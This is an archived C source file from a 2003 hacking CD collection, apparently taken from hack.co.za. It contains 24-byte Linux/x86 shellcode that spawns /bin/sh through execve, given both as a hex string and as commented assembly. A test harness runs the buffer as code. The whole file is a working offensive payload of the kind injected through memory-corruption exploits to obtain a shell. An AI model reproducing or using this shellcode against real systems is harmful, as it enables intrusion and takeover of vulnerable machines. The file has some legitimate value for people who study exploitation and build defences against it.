home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / execve-binsh1.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-01-17  |  716 b   |  41 lines

  1. /*
  2.  *  Linux/x86
  3.  *
  4.  *  small execve() of /bin/sh (without exit())
  5.  *  24 bytes
  6.  */
  7.  
  8. #include <stdio.h>
  9.  
  10. char code[]=
  11.   "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52"
  12.   "\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
  13.  
  14. // code
  15. /*
  16. __asm__("
  17.         xorl  %edx,%edx
  18.         pushl %edx
  19.         pushl $0x68732f6e
  20.         pushl $0x69622f2f
  21.         movl  %esp,%ebx
  22.         pushl %edx
  23.         pushl %ebx
  24.         movl  %esp,%ecx
  25.         leal  0xb(%edx),%eax
  26.         int   $0x80
  27. ");
  28. */
  29.  
  30. main()
  31. {
  32.   void (*s)() = (void *)code;
  33.   printf("Shellcode length: %d\nExecuting..\n\n",
  34.       strlen(code));
  35.   s();
  36. }
  37.  
  38. /* 
  39. RaiSe <raise@netsearch-ezine.com>
  40. http://www.netsearch-ezine.com
  41. */